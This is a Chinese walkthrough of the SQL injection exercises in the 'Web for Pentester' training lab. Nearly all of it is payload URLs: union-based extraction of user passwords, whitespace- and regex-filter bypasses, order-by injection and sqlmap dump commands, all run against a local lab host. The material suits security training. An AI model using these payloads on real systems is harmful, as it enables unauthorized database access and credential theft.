Web for pentester_writeup之SQL injections篇

Web for pentester_writeup之SQL injections篇

SQL injections(SQL注入)

Example 1

1605154-20190807171733506-548166565.png

测试参数,添加 and '1'='1'and '1'='2判断存在注入

1605154-20190807171757450-1555795477.png

1605154-20190807171835191-79828721.png

猜解查询列数(%23为#号的URL编码,注释原有结构的单引号
http://192.168.219.136/sqli/example1.php?name=root' order by 5 %23

1605154-20190807171933846-1314951168.png

http://192.168.219.136/sqli/example1.php?name=root' order by 6 %23
1605154-20190807171945859-1788452847.png

所以查询列数为5,构造union联合查询语句查询页面输出的列
http://192.168.219.136/sqli/example1.php?name=root' union select 1,2,3,4,5%23

1605154-20190807175242319-1820670032.png

打印输出的列为123,利用输出的列数查询数据库版本,路径和当前数据库
http://192.168.219.136/sqli/example1.php?name=root' union select @@version,@@datadir,database(),4,5%23

1605154-20190807175302789-113659618.png

查询当前数据库中包含的表,注意数据库名称需要用十六进行进行编码exercises=>0x657865726369736573
http://192.168.219.136/sqli/example1.php?name=root' union select TABLE_NAME,@@datadir,database(),4,5 from information_schema.TABLES where TABLE_SCHEMA=0x657865726369736573%23

1605154-20190807175310732-1598778485.png

获取TABLE_NAME表名为users,查询当前表中包含的列,表名也要用十六进制进步编码users=>0x7573657273
http://192.168.219.136/sqli/example1.php?name=root' union select COLUMN_NAME,@@datadir,database(),4,5 from information_schema.COLUMNS where TABLE_NAME=0x7573657273%23

1605154-20190807175542229-1060854415.png

可打印项为3项,我们选择idnamepasswd打印输出

Payload :
http://192.168.219.136/sqli/example1.php?name=root' union select id,name,passwd,4,5 from users%23

1605154-20190807175554777-2079674820.png

成功获取了管理员的账号和密码

Example 2

1605154-20190807175622443-531349251.png

测试发现无法输入空格,那么我们使用\t\n的URL编码来替换空格

Payload1(\n,换行LF)
http://192.168.219.136/sqli/example2.php?name=root'%0aunion%0aselect%0aid,name,passwd,4,5%0afrom%0ausers%23

1605154-20190807175637474-720761022.png

Payload2(归位CR)
http://192.168.219.136/sqli/example2.php?name=root'%0dunion%0dselect%0did,name,passwd,4,5%0dfrom%0dusers%23

1605154-20190807175652405-960820701.png

Payload3(\t,水平定位HT)
http://192.168.219.136/sqli/example2.php?name=root'%09union%09select%09id,name,passwd,4,5%09from%09users%23

1605154-20190807175713803-508223315.png

Payload4 (使用/注释/方法)
http://192.168.219.136/sqli/example2.php?name=root'/**/union/**/select/**/id,name,passwd,4,5/**/from/**/users%23

1605154-20190807175742279-400641263.png

Example 3

测试例2中的payload发现匹配任何空白字符,包括空格、制表符、换页符等,全部过滤掉
只有注释payload成功注入

Payload
http://192.168.219.136/sqli/example3.php?name=root'/**/union/**/select/**/id,name,passwd,4,5/**/from/**/users%23

1605154-20190807175803166-1254487174.png

Example 4

1605154-20190807175824674-1465355104.png

由字符型变为数字型注入,猜测表结构还是一致,直接修改上述payload,去掉单引号,后面的%23即#号注释符号也可以去掉了

Payload
http://192.168.219.136/sqli/example4.php?id=2 union select id,name,passwd,4,5 from users

1605154-20190807175845532-1690623055.png

Example 5

发现使用之前的payload可以直接注入成功

Payload
http://192.168.219.136/sqli/example5.php?id=2 union select id,name,passwd,4,5 from users

1605154-20190807175859827-950835635.png

查看资料可知考察的是正则表达式

1605154-20190807175930414-427272176.png

输入的id字段必须是数字开头,不能是字符

1605154-20190807180026597-1635541673.png

Example 6

查看资料

1605154-20190807180037883-1562762678.png

可知同样是考察正则表达式,要求id的输入最后一个字符必须是数字,所以使用payload
http://192.168.219.136/sqli/example6.php?id=5 union select id,name,passwd,4,5 from users提示注入失败

1605154-20190807180059366-1202415725.png

那么当我们需要注释的时候如何处理这种情况呢?我们可以在注释的后面再加上数字即可

Payload
http://192.168.219.136/sqli/example6.php?id=5 union select id,name,passwd,4,5 from users %23 123

1605154-20190807180111695-1391462977.png

Example 7

注入失败,查看资料可知

1605154-20190807180132934-2027167472.png

后台查询语句用/m进行了限制,“行起始”和“行结束”除了匹配整个字符串开头和结束外,还分别匹配其中的换行符的之后和之前,所以我们可以在原语句中加入换行符,在换行符后输入payload(\n=>%0A),即会判断整个同一行的参数是否符合,通过\n换行符来将参数和payload分开在不同行。

Payload
http://192.168.219.136/sqli/example7.php?id=5%0A union select id,name,passwd,4,5 from users %23 123

1605154-20190807180142327-316212507.png

Example 8

1605154-20190807180155300-1018850328.png

这一题涉及到的知识点是order by的注入,查看参考资料

1605154-20190807180201636-817502011.png

有两种order by情况:
直接排序:order by name
使用 ` 符号排序: order by `name`

<1> payload: order=name%23`,没有返回结果

1605154-20190807180256210-1133840189.png

<2> payload: order=name\`%23

1605154-20190807180308962-1067391326.png

<3> payload: order=name`desc%23

1605154-20190807180318555-1103667940.png

可以确定是order by `name`类型排序,只能通过盲注了,直接上神器SQLMAP

Payload
sqlmap.py -u "http://192.168.219.136/sqli/example8.php?order=name" --risk=3 --level=5 --random-agent --user-agent -v3 --batch --threads=10 --dbs

1605154-20190807180330791-1180011646.png

qlmap.py -u "http://192.168.219.136/sqli/example8.php?order=name" --risk=3 --level=5 --random-agent --user-agent -v3 --batch --threads=10 -D exercises --dump

1605154-20190807180336558-125932082.png

Example 9

本例和上面相似,
<1> payload: order=name%23

1605154-20190807180349994-540984116.png

<2> payload: order=name`%23,没有返回结果
1605154-20190807180355708-1253482630.png

简单测试后发现排序类型是order by name

同样,直接盲注,上SQLMAP神器

Payload
sqlmap.py -u "http://192.168.219.136/sqli/example9.php?order=name" --risk=3 --level=5 --random-agent --user-agent -v3 --batch --threads=10 --dbs

1605154-20190807180409008-403729083.png

sqlmap.py -u "http://192.168.219.136/sqli/example9.php?order=name" --risk=3 --level=5 --random-agent --user-agent -v3 --batch --threads=10 -D exercises --dump

1605154-20190807180425843-36257061.png

转载于:https://www.cnblogs.com/liliyuanshangcao/p/11315282.html

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值